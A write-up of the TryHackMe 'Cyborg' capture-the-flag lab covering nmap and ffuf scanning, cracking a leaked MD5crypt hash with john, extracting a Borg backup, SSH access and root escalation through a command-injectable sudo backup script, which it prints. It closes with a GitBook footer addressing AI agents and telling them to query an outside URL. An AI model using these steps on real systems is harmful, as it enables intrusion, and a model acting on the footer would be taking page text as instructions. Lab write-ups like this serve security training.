> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/cybersecurity-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/cybersecurity-writeups/tryhackme/cyborg-tryhackme.md).

# Cyborg (TryHackMe)

🧭 Overview

* Platform: TryHackMe
* Focus: Enumeration → Credential Access → Privilege Escalation
* OS: Linux

***

### 🔍 Reconnaissance

#### Nmap Scan

```bash
nmap -sC -sV -A <IP>
```

#### Findings:

* 22/tcp → SSH (OpenSSH 7.2p2)
* 80/tcp → HTTP (Apache 2.4.18)

#### Nmap Output

![Nmap](https://github.com/Ganesha-hk/Tryhackme-ctf-imgs/blob/main/cyborg/nmap.jpeg?raw=true)

***

### 🔎 Enumeration

#### Directory Fuzzing

```bash
ffuf -w /path/to/SecLists/common.txt -u http://<IP>/FUZZ
```

#### Discovered:

* `/admin`
* `/etc`

#### FFUF Output

![FFUF](https://github.com/Ganesha-hk/Tryhackme-ctf-imgs/blob/main/cyborg/ffuf.jpeg?raw=true)

***

### 📂 Sensitive Data Exposure

Navigate to:

```
/etc/squid/passwd
```

👉 Found:

* Username + hashed password

![Hash File](https://github.com/Ganesha-hk/Tryhackme-ctf-imgs/blob/main/cyborg/hash.jpeg?raw=true)

***

### 🔐 Credential Cracking

#### Identify Hash

```bash
hash-identifier
```

👉 Hash type: **MD5crypt**

![Hash Identify](https://github.com/Ganesha-hk/Tryhackme-ctf-imgs/blob/main/cyborg/hash.jpeg?raw=true)

***

#### Crack Hash

```bash
john --format=md5crypt --wordlist=/path/to/rockyou.txt s.txt
```

#### Result:

* Password recovered

![John Crack](https://github.com/Ganesha-hk/Tryhackme-ctf-imgs/blob/main/cyborg/john.jpeg?raw=true)

***

### 📦 Backup Extraction (Borg)

#### Download archive from `/admin`

![Admin Panel](https://github.com/Ganesha-hk/Tryhackme-ctf-imgs/blob/main/cyborg/upload-web-page.jpeg?raw=true)

***

#### Install Borg

```bash
sudo apt install borgbackup
```

***

#### Extract Backup

```bash
borg extract /path/to/archive::music_archive
```

👉 Use cracked password as passphrase

![Borg Extract](https://github.com/Ganesha-hk/Tryhackme-ctf-imgs/blob/main/cyborg/compressor-hint.jpeg?raw=true)

***

#### Find Credentials

```
/home/alex/Documents/note.txt
```

***

### 💥 Initial Access

Login via SSH:

```bash
ssh alex@<IP>
```

#### Result:

* Shell access obtained

![SSH Access](https://github.com/Ganesha-hk/Tryhackme-ctf-imgs/blob/main/cyborg/ssh.jpeg?raw=true)

***

### 🔐 Privilege Escalation

#### Check Sudo Permissions

```bash
sudo -l
```

#### Finding:

* Script executable as root:

```
/etc/mp3backups/backup.sh
```

![Sudo](https://github.com/Ganesha-hk/Tryhackme-ctf-imgs/blob/main/cyborg/sudo-l.jpeg?raw=true)

***

#### Vulnerable Script

```bash
while getopts c: flag
do
    case "${flag}" in 
        c) command=${OPTARG};;
    esac
done

cmd=$($command)
echo $cmd
```

👉 Vulnerability: **Command Injection**

***

#### Exploit

```bash
sudo /etc/mp3backups/backup.sh -c "su root"
```

#### Result:

* Root shell obtained

![Root](https://github.com/Ganesha-hk/Tryhackme-ctf-imgs/blob/main/cyborg/root.jpeg?raw=true)

***

### 🎯 Key Takeaways

* Exposed directories can leak credentials
* Weak hashing → easily cracked
* Backup files may contain sensitive data
* Misconfigured sudo scripts = full compromise
* Command injection is critical

***

### ⚠ Disclaimer

This writeup is for educational purposes only.\
All activities were performed in authorized lab environments.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ganesha-hk.gitbook.io/cybersecurity-writeups/tryhackme/cyborg-tryhackme.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
